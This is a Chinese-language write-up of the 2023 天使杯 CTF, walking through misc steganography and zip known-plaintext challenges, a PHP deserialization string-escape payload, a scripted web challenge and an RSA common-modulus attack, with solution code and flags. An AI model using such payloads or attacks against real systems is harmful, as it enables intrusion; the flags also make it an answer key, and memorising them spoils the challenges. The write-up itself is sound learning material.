您现在的位置是:首页 >技术杂谈 >2023 天使杯CTF --- wp网站首页技术杂谈

2023 天使杯CTF --- wp

3tefanie丶zhou 2024-09-09 12:01:04
简介2023 天使杯CTF --- wp

misc

misc1

url-html-base58解码即可得到flag

image.png

flag{welc0m3_t0_2023tsb}

misc2

将白衣天使.txt丢尽010,发现是一张png图片
修改后缀png图片,然后用Binwalk 一下得到一个mp3文件和压缩包

image.png
用audacity打开mp3文件查看声道,发现在最后面存在Morse
image.png
将其取出来

-.. ....- ...-- ----. -.... ...-- . ----. ..--- -... ----- .---- ..--- .- .- -...

解码得到16个字符,疑似16进制
image.png

d43963e92b012aab

直接当作压缩包密码,失败。查询其md5值对应的字符,得到n1ce_try
image.png
使用n1ce_try作为解压密码得到flag.png,在010中搜索得到flag
image.png

flag{Angels_watch_over_you}

misc3

发现nothing.txt存在零宽,直接解密
image.png
得到hint信息

Holly,I know there is a difference between upper and lower case of "angelcup" ,like a-aa n-nn g-gg e-ee l-ll and so on...
Wish U find~

大概意思是关于angelcup这个单词中的字母存在不同,将其中出现的字母替换为单个字母即可

import base64
data = '50x.html中的base64字符串'
lis = ["AA", "NN", "GG", "LL", "EE", "CC", "UU", "PP"]
for i in lis:
    data = data.replace(i, i[0])
with open("flag.png", "wb") as f:
    f.write(base64.b64decode(data))

image.png

flag{a_p1ctuR3_1s_h3rR}

misc4

导出http对象得到tmp.zip
image.png
压缩方法是stone,加密算法是ZipCrytpo
一眼顶针,明文攻击
直接用bkcrack得到密钥k

5b6eeca3 254ebbe5 7719424d

在这里插入图片描述

利用得到的密钥k生成一个新的压缩包并且设定密码为123,解压得到ppt和图片
在这里插入图片描述

在这里插入图片描述

然后将ppt改为zip后缀,最后在pptembeddings下面的Workbook1.xlsx发现flag
image.png

flag{tHI5_f1A9_I5_5o_hid3_Bu7_you_f1nD_i7}

web

web1

根据题目信息提示 :信息收集
直接扫描网站,发现存在www.zip
解压压缩包,共计两个文件 index.php以及f1ooog.txt
我们直接访问f1ooog.txt即可得到flag
image.png

flag{054acb69-0c09-a0db-c73a-a8ab2de4da6a}

web2

题目源码:

<?php
error_reporting(0);
function filter($name)
{
    $safe = array(
        "flag",
        "php"
    );
    $name = str_replace($safe, "hack", $name);
    return $name;
}
class test
{
    var $user;
    var $pass = 'daydream';
    function __construct($user)
    {
        $this->user = $user;
    }
}
if (isset($_GET['p'])) {
    $param   = $_GET['p'];
    $param   = serialize(new test($param));
    $profile = unserialize(filter($param));
    if ($profile->pass == 'escaping') {
        echo file_get_contents("flag.php");
    }
} else {
    highlight_file(__FILE__);
}
?>

反序列化字符串逃逸

<?php  
class test {  
    var $user;  
    var $pass = 'escaping';  
}  
  
echo serialize(new test());

O:4:"test":2:{s:4:"user";N;s:4:"pass";s:8:"escaping";}

这里我们的 p r o f i l e 是 t e s t 类的一个对象,需要使它的属性 p a s s 等于 e s c a p i n g ,这样就会输出包含的 f l a g . p h p 得到 f l a g 这里 g e t 传 p a r a m 的值会作为生成对象 profile是test类的一个对象,需要使它的属性pass等于escaping,这样就会输出包含的flag.php得到flag 这里get传param的值会作为生成对象 profiletest类的一个对象,需要使它的属性pass等于escaping,这样就会输出包含的flag.php得到flag这里getparam的值会作为生成对象param的test类的user属性,进行序列化之后再进行反序列化,经过了
filter过滤,这里我们如果想使得daydream等于escaping,就需要利用字符串逃逸修改$pass为escaping
构造payload如下

p=phpphpphpphpphpphpphpphpphpphpphpphpphpphpphpphpphpphpphpphpphpphpphpphpphpphpphpphpphp";s:4:"pass";s:8:"escaping";}

image.png

flag{the_king_of_ser_hiter!}

web3

根据题目要求编写一个脚本即可
exp:

import re
import requests
import time
session = requests.Session()
for i in range(20):
    response = session.get('http://111.74.9.131:10085/')
    x = response.text
    # 示例 HTML 代码
    # html = '<div>这里是需要匹配的数据</div>'
    print(x)
    # 定义正则表达式模式
    pattern = r'<div>(.*?)</div>'

    # 使用 re 模块的 findall 方法匹配所有符合模式的字符串
    result = re.findall(pattern, x)[0].split('=')

    # 打印结果
    print(result)
    # result = result
    answer = ''
    if eval(result[0]) == int(result[1]):
        answer = "true"
    else:
        answer = "false"
    print(answer)
    data = {
    'answer': answer,
    }
    time.sleep(1)
    x2 = session.post('http://111.74.9.131:10085/', data=data, verify=False)
    print(x2.text)
flag{python_1s_th3_be3t_l4ngu4ge}

Crypto

crypto1

简单共模攻击

from Crypto.Util.number import *
import gmpy2

n=0xb0bee5e3e9e5a7e8d00b493355c618fc8c7d7d03b82e409951c182f398dee3104580e7ba70d383ae5311475656e8a964d380cb157f48c951adfa65db0b122ca40e42fa709189b719a4f0d746e2f6069baf11cebd650f14b93c977352fd13b1eea6d6e1da775502abff89d3a8b3615fd0db49b88a976bc20568489284e181f6f11e270891c8ef80017bad238e363039a458470f1749101bc29949d3a4f4038d463938851579c7525a69984f15b5667f34209b70eb261136947fa123e549dfff00601883afd936fe411e006e4e93d1a00b0fea541bbfc8c5186cb6220503a94b2413110d640c77ea54ba3220fc8f4cc6ce77151e29b3e06578c478bd1bebe04589ef9a197f6f806db8b3ecd826cad24f5324ccdec6e8fead2c2150068602c8dcdc59402ccac9424b790048ccdd9327068095efa010b7f196c74ba8c37b128f9e1411751633f78b7b9e56f71f77a1b4daad3fc54b5e7ef935d9a72fb176759765522b4bbc02e314d5c06b64d5054b7b096c601236e6ccf45b5e611c805d335dbab0c35d226cc208d8ce4736ba39a0354426fae006c7fe52d5267dcfb9c3884f51fddfdf4a9794bcfe0e1557113749e6c8ef421dba263aff68739ce00ed80fd0022ef92d3488f76deb62bdef7bea6026f22a1d25aa2a92d124414a8021fe0c174b9803e6bb5fad75e186a946a17280770f1243f4387446ccceb2222a965cc30b3929
with open('flag.enc1','rb') as f:
    c1=bytes_to_long(f.read())
with open('flag.enc2','rb') as f:
    c2=bytes_to_long(f.read())

e1 = 17
e2 = 65537
g,s1,s2=gmpy2.gcdext(e1,e2)
m=pow(c1,s1,n)*pow(c2,s2,n)%n
flag = long_to_bytes(m)
print(flag)
flag{number_is_very great}

crypto2

先鸽了,有空再写。

【人,终究会被年少不可得之物困其一生】

风语者!平时喜欢研究各种技术,目前在从事后端开发工作,热爱生活、热爱工作。